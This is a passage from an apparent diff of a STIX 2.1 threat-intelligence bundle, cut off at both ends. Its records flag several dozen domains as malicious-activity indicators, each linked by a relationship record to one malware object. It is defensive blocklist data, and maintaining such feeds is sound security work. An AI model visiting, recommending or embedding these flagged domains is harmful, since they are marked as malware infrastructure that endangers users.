"[domain-name:value='fencingdiagnoses.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.13667Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a82da141-ab90-47ea-b9e0-de69806cd9db", + "created": "2023-03-29T12:58:44.13727Z", + "modified": "2023-03-29T12:58:44.13727Z", + "relationship_type": "indicates", + "source_ref": "indicator--04b569be-bbbc-4d9b-9797-218d3779d809", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07de78ec-1b93-4a0c-9feb-4bd39edb04ab", + "created": "2023-03-29T12:58:44.13745Z", + "modified": "2023-03-29T12:58:44.13745Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='discernemphatic.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.13745Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5f5d9eb8-49a6-4ad8-bc67-e14169c3623f", + "created": "2023-03-29T12:58:44.138065Z", + "modified": "2023-03-29T12:58:44.138065Z", + "relationship_type": "indicates", + "source_ref": "indicator--07de78ec-1b93-4a0c-9feb-4bd39edb04ab", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--58c4bd27-bbb2-4923-8741-959a28ce7c12", + "created": "2023-03-29T12:58:44.138233Z", + "modified": "2023-03-29T12:58:44.138233Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='meltingiceberg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.138233Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52e0bb54-020a-421e-bb72-c0231c0311a3", + "created": "2023-03-29T12:58:44.138838Z", + "modified": "2023-03-29T12:58:44.138838Z", + "relationship_type": "indicates", + "source_ref": "indicator--58c4bd27-bbb2-4923-8741-959a28ce7c12", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--961447d3-92ea-407a-8ec3-9625b0d0ccb2", + "created": "2023-03-29T12:58:44.139007Z", + "modified": "2023-03-29T12:58:44.139007Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='selectivehumble.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.139007Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b43a89d3-b101-48df-aa10-0a4ed0610ebd", + "created": "2023-03-29T12:58:44.139612Z", + "modified": "2023-03-29T12:58:44.139612Z", + "relationship_type": "indicates", + "source_ref": "indicator--961447d3-92ea-407a-8ec3-9625b0d0ccb2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43b7e7e1-c931-48a6-b324-d65819c44d66", + "created": "2023-03-29T12:58:44.13978Z", + "modified": "2023-03-29T12:58:44.13978Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='revealmockup.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.13978Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9b8cf64d-f27b-4aca-abcb-56f60ec0cb4c", + "created": "2023-03-29T12:58:44.140483Z", + "modified": "2023-03-29T12:58:44.140483Z", + "relationship_type": "indicates", + "source_ref": "indicator--43b7e7e1-c931-48a6-b324-d65819c44d66", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d259dcd5-ad91-4046-95eb-733b0d6157ba", + "created": "2023-03-29T12:58:44.140655Z", + "modified": "2023-03-29T12:58:44.140655Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='buffoonearpiece.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.140655Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93459826-6f88-40a2-849b-872a822ad3be", + "created": "2023-03-29T12:58:44.141292Z", + "modified": "2023-03-29T12:58:44.141292Z", + "relationship_type": "indicates", + "source_ref": "indicator--d259dcd5-ad91-4046-95eb-733b0d6157ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ab68e3a-117d-4066-81d7-6eb96895ec2a", + "created": "2023-03-29T12:58:44.141464Z", + "modified": "2023-03-29T12:58:44.141464Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='contactcoliseum.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.141464Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ec07fe8-dbe6-410d-a5ab-f1f1e7268497", + "created": "2023-03-29T12:58:44.142081Z", + "modified": "2023-03-29T12:58:44.142081Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ab68e3a-117d-4066-81d7-6eb96895ec2a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e48ba7c-c5e9-4487-bfc5-738fa3a155da", + "created": "2023-03-29T12:58:44.142251Z", + "modified": "2023-03-29T12:58:44.142251Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lightgiveaway.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.142251Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80e7a20d-3f84-43df-922e-d7b4fcf4bc46", + "created": "2023-03-29T12:58:44.142853Z", + "modified": "2023-03-29T12:58:44.142853Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e48ba7c-c5e9-4487-bfc5-738fa3a155da", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9af824b-a4f4-4f3c-b284-b5bd0e6a30c6", + "created": "2023-03-29T12:58:44.143021Z", + "modified": "2023-03-29T12:58:44.143021Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='designingcure.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.143021Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--97f41516-f47d-4f85-b82c-376a9b555558", + "created": "2023-03-29T12:58:44.143653Z", + "modified": "2023-03-29T12:58:44.143653Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9af824b-a4f4-4f3c-b284-b5bd0e6a30c6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5276bd19-11ee-43bb-ba27-3d19d1faa3b4", + "created": "2023-03-29T12:58:44.143825Z", + "modified": "2023-03-29T12:58:44.143825Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='finiteremember.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.143825Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b475ff98-ef95-43da-8228-6d6342d7d22d", + "created": "2023-03-29T12:58:44.144427Z", + "modified": "2023-03-29T12:58:44.144427Z", + "relationship_type": "indicates", + "source_ref": "indicator--5276bd19-11ee-43bb-ba27-3d19d1faa3b4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa737481-6850-4e0f-9171-c5b236e94794", + "created": "2023-03-29T12:58:44.144599Z", + "modified": "2023-03-29T12:58:44.144599Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='regulatepatience.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.144599Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba524dd0-c869-4ab5-8f9f-bae333ebff1a", + "created": "2023-03-29T12:58:44.145207Z", + "modified": "2023-03-29T12:58:44.145207Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa737481-6850-4e0f-9171-c5b236e94794", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2cc47969-9456-4834-bd0d-1d13a454e6c9", + "created": "2023-03-29T12:58:44.145379Z", + "modified": "2023-03-29T12:58:44.145379Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rockstarcraze.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.145379Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1a54dadd-17e5-4a3f-9ea2-6f305822d6b4", + "created": "2023-03-29T12:58:44.14598Z", + "modified": "2023-03-29T12:58:44.14598Z", + "relationship_type": "indicates", + "source_ref": "indicator--2cc47969-9456-4834-bd0d-1d13a454e6c9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b48c7e95-9d07-41df-ae19-6efaef17eae9", + "created": "2023-03-29T12:58:44.146154Z", + "modified": "2023-03-29T12:58:44.146154Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jaundicegosling.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.146154Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc88dcca-6df7-4bd0-ba1c-87474c39c3ec", + "created": "2023-03-29T12:58:44.146757Z", + "modified": "2023-03-29T12:58:44.146757Z", + "relationship_type": "indicates", + "source_ref": "indicator--b48c7e95-9d07-41df-ae19-6efaef17eae9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b0312c1a-0176-4130-8c97-3493049d4d84", + "created": "2023-03-29T12:58:44.14693Z", + "modified": "2023-03-29T12:58:44.14693Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quickendecidable.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.14693Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4f34508c-fa46-4d12-a0c3-37c1c5ef4567", + "created": "2023-03-29T12:58:44.147649Z", + "modified": "2023-03-29T12:58:44.147649Z", + "relationship_type": "indicates", + "source_ref": "indicator--b0312c1a-0176-4130-8c97-3493049d4d84", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f10f0fdc-6f63-4211-98a2-0c7d615a6d8d", + "created": "2023-03-29T12:58:44.147823Z", + "modified": "2023-03-29T12:58:44.147823Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='justnesswaving.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.147823Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16b0ae41-69bd-423e-b707-99a248675073", + "created": "2023-03-29T12:58:44.148425Z", + "modified": "2023-03-29T12:58:44.148425Z", + "relationship_type": "indicates", + "source_ref": "indicator--f10f0fdc-6f63-4211-98a2-0c7d615a6d8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5443bb3a-82dd-405a-8e63-b1298b4165d9", + "created": "2023-03-29T12:58:44.148595Z", + "modified": "2023-03-29T12:58:44.148595Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='storminworld.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.148595Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7586618-c5a3-4d4b-8c85-15ee000a0f73", + "created": "2023-03-29T12:58:44.149193Z", + "modified": "2023-03-29T12:58:44.149193Z", + "relationship_type": "indicates", + "source_ref": "indicator--5443bb3a-82dd-405a-8e63-b1298b4165d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--006e4a11-826d-4c0a-813e-2e95f48dfb01", + "created": "2023-03-29T12:58:44.149362Z", + "modified": "2023-03-29T12:58:44.149362Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='detentiondelusion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.149362Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--433cd9dd-9d51-48a1-83d1-6f39a93a95ae", + "created": "2023-03-29T12:58:44.149967Z", + "modified": "2023-03-29T12:58:44.149967Z", + "relationship_type": "indicates", + "source_ref": "indicator--006e4a11-826d-4c0a-813e-2e95f48dfb01", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--87edf559-a2ef-44ec-87ed-e4e32bde7d6e", + "created": "2023-03-29T12:58:44.150136Z", + "modified": "2023-03-29T12:58:44.150136Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crudelythirteen.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.150136Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c97f4a1c-968e-449d-8108-53c858be9465", + "created": "2023-03-29T12:58:44.150738Z", + "modified": "2023-03-29T12:58:44.150738Z", + "relationship_type": "indicates", + "source_ref": "indicator--87edf559-a2ef-44ec-87ed-e4e32bde7d6e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--51c70468-8cd5-4d99-ad87-e10130641e3c", + "created": "2023-03-29T12:58:44.150907Z", + "modified": "2023-03-29T12:58:44.150907Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hatlesseconomist.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.150907Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49e31e71-3894-4a01-9572-580db4ca6099", + "created": "2023-03-29T12:58:44.151508Z", + "modified": "2023-03-29T12:58:44.151508Z", + "relationship_type": "indicates", + "source_ref": "indicator--51c70468-8cd5-4d99-ad87-e10130641e3c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4e3f074a-c8c4-4cbd-98c4-1b7ad0e15ee9", + "created": "2023-03-29T12:58:44.151675Z", + "modified": "2023-03-29T12:58:44.151675Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='modswitch.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.151675Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2963b258-8577-4401-8790-17b3ff8bd8cc", + "created": "2023-03-29T12:58:44.152281Z", + "modified": "2023-03-29T12:58:44.152281Z", + "relationship_type": "indicates", + "source_ref": "indicator--4e3f074a-c8c4-4cbd-98c4-1b7ad0e15ee9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a8294c8-1f5e-4cb5-bd01-d4f35259d586", + "created": "2023-03-29T12:58:44.152451Z", + "modified": "2023-03-29T12:58:44.152451Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='audiencepostage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.152451Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b787c4ff-9a45-42b8-b90c-58add7037740", + "created": "2023-03-29T12:58:44.153058Z", + "modified": "2023-03-29T12:58:44.153058Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a8294c8-1f5e-4cb5-bd01-d4f35259d586", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--098fe2b0-1ff0-423c-ba86-71e8e3483fbb", + "created": "2023-03-29T12:58:44.153225Z", + "modified": "2023-03-29T12:58:44.153225Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='precutcrudeness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.153225Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4a32e23c-98b4-4abc-b0da-b2de4bf887d5", + "created": "2023-03-29T12:58:44.153836Z", + "modified": "2023-03-29T12:58:44.153836Z", + "relationship_type": "indicates", + "source_ref": "indicator--098fe2b0-1ff0-423c-ba86-71e8e3483fbb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc3f8b60-3207-4bd0-a045-ac628e0cda12", + "created": "2023-03-29T12:58:44.154006Z", + "modified": "2023-03-29T12:58:44.154006Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='borrowerpursuit.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.154006Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76ccce73-b885-40f3-942d-31787bbe96b6", + "created": "2023-03-29T12:58:44.154725Z", + "modified": "2023-03-29T12:58:44.154725Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc3f8b60-3207-4bd0-a045-ac628e0cda12", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9bd03022-8108-4d64-8de3-f00ba2b57f09", + "created": "2023-03-29T12:58:44.154901Z", + "modified": "2023-03-29T12:58:44.154901Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='survivordosage.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.154901Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b404890-c198-451c-ad4f-4326978aeff3", + "created": "2023-03-29T12:58:44.155503Z", + "modified": "2023-03-29T12:58:44.155503Z", + "relationship_type": "indicates", + "source_ref": "indicator--9bd03022-8108-4d64-8de3-f00ba2b57f09", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8736c7c-36a4-4782-a181-874179426eac", + "created": "2023-03-29T12:58:44.155672Z", + "modified": "2023-03-29T12:58:44.155672Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='banneruniverse.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.155672Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f7296497-4f69-4315-9ca2-2da910531b6e", + "created": "2023-03-29T12:58:44.156267Z", + "modified": "2023-03-29T12:58:44.156267Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8736c7c-36a4-4782-a181-874179426eac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--747c43eb-8f82-4acb-84b4-399572d379f7", + "created": "2023-03-29T12:58:44.156434Z", + "modified": "2023-03-29T12:58:44.156434Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ratunderhat.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.156434Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c62dea1-44e0-4cd5-8d85-741fd4659fd6", + "created": "2023-03-29T12:58:44.157029Z", + "modified": "2023-03-29T12:58:44.157029Z", + "relationship_type": "indicates", + "source_ref": "indicator--747c43eb-8f82-4acb-84b4-399572d379f7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b6ca1c2-26fe-4652-b6c1-ae0d2ac0d76c", + "created": "2023-03-29T12:58:44.157197Z", + "modified": "2023-03-29T12:58:44.157197Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chipgluten.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.157197Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--03761525-3952-418b-9ae8-10dc94fb0f1c", + "created": "2023-03-29T12:58:44.157835Z", + "modified": "2023-03-29T12:58:44.157835Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b6ca1c2-26fe-4652-b6c1-ae0d2ac0d76c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f221504e-8a7a-46ae-b70b-5da031d9d4ea", + "created": "2023-03-29T12:58:44.158009Z", + "modified": "2023-03-29T12:58:44.158009Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cognitionsecurity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.158009Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42257ff5-50bd-4b53-a458-78de667a04f9", + "created": "2023-03-29T12:58:44.158623Z", + "modified": "2023-03-29T12:58:44.158623Z", + "relationship_type": "indicates", + "source_ref": "indicator--f221504e-8a7a-46ae-b70b-5da031d9d4ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0436011d-7c6c-4a55-901c-83c5fb8d6e87", + "created": "2023-03-29T12:58:44.158793Z", + "modified": "2023-03-29T12:58:44.158793Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='theologywhooping.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.158793Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8513fb7e-bc75-40cb-ae63-d6cda1e532f6", + "created": "2023-03-29T12:58:44.159399Z", + "modified": "2023-03-29T12:58:44.159399Z", + "relationship_type": "indicates", + "source_ref": "indicator--0436011d-7c6c-4a55-901c-83c5fb8d6e87", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0682a4ec-1007-450d-a091-6d184b5b100e", + "created": "2023-03-29T12:58:44.159568Z", + "modified": "2023-03-29T12:58:44.159568Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ceramicsclip.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.159568Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df9c93c4-7e54-4ed6-8982-d29838a98bbc", + "created": "2023-03-29T12:58:44.160207Z", + "modified": "2023-03-29T12:58:44.160207Z", + "relationship_type": "indicates", + "source_ref": "indicator--0682a4ec-1007-450d-a091-6d184b5b100e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--28974533-f302-4092-ac41-6b973298cf8b", + "created": "2023-03-29T12:58:44.160381Z", + "modified": "2023-03-29T12:58:44.160381Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kiddycandy.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.160381Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c62dca3c-6b2b-4fdc-97e3-d8ee8f5f6db8", + "created": "2023-03-29T12:58:44.160987Z", + "modified": "2023-03-29T12:58:44.160987Z", + "relationship_type": "indicates", + "source_ref": "indicator--28974533-f302-4092-ac41-6b973298cf8b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f3c6302-58a1-4b59-87a7-7b2b6103804d", + "created": "2023-03-29T12:58:44.161158Z", + "modified": "2023-03-29T12:58:44.161158Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hankiestubbly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.161158Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--775ee1c9-b382-4420-a9b6-f72633d17889", + "created": "2023-03-29T12:58:44.161875Z", + "modified": "2023-03-29T12:58:44.161875Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f3c6302-58a1-4b59-87a7-7b2b6103804d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4fdf8e4a-ac7b-483b-b0de-0b29ead7d804", + "created": "2023-03-29T12:58:44.162048Z", + "modified": "2023-03-29T12:58:44.162048Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='salamiunhidden.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.162048Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--08a8bfb6-0a05-485c-bae6-3141dfbfa2e8", + "created": "2023-03-29T12:58:44.162652Z", + "modified": "2023-03-29T12:58:44.162652Z", + "relationship_type": "indicates", + "source_ref": "indicator--4fdf8e4a-ac7b-483b-b0de-0b29ead7d804", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--013260f4-026b-424c-bc00-1c014a928003", + "created": "2023-03-29T12:58:44.16282Z", + "modified": "2023-03-29T12:58:44.16282Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playlistreawake.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.16282Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e56d12fc-528c-4484-b396-9eedd5555e87", + "created": "2023-03-29T12:58:44.16342Z", + "modified": "2023-03-29T12:58:44.16342Z", + "relationship_type": "indicates", + "source_ref": "indicator--013260f4-026b-424c-bc00-1c014a928003", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4c3d3849-c57d-41ea-a257-ea3d9db1fbc4", + "created": "2023-03-29T12:58:44.163587Z", + "modified": "2023-03-29T12:58:44.163587Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sassyunbeaten.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.163587Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d072086-2cce-4ebf-ac08-7bb3f78c53da", + "created": "2023-03-29T12:58:44.164182Z", + "modified": "2023-03-29T12:58:44.164182Z", + "relationship_type": "indicates", + "source_ref": "indicator--4c3d3849-c57d-41ea-a257-ea3d9db1fbc4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--642d1148-2806-4bc7-abf5-a48037e66cc3", + "created": "2023-03-29T12:58:44.164349Z", + "modified": "2023-03-29T12:58:44.164349Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='violateascent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.164349Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c3718f5-4746-44d7-9ef3-f0e7d604634e", + "created": "2023-03-29T12:58:44.164951Z", + "modified": "2023-03-29T12:58:44.164951Z", + "relationship_type": "indicates", + "source_ref": "indicator--642d1148-2806-4bc7-abf5-a48037e66cc3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d2c65af-ea41-4937-9c63-8bfe0f3ffc07", + "created": "2023-03-29T12:58:44.165123Z", + "modified": "2023-03-29T12:58:44.165123Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vestruby.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.165123Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9c869cbd-39b3-49a2-80d6-b6c632b893a5", + "created": "2023-03-29T12:58:44.16572Z", + "modified": "2023-03-29T12:58:44.16572Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d2c65af-ea41-4937-9c63-8bfe0f3ffc07", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 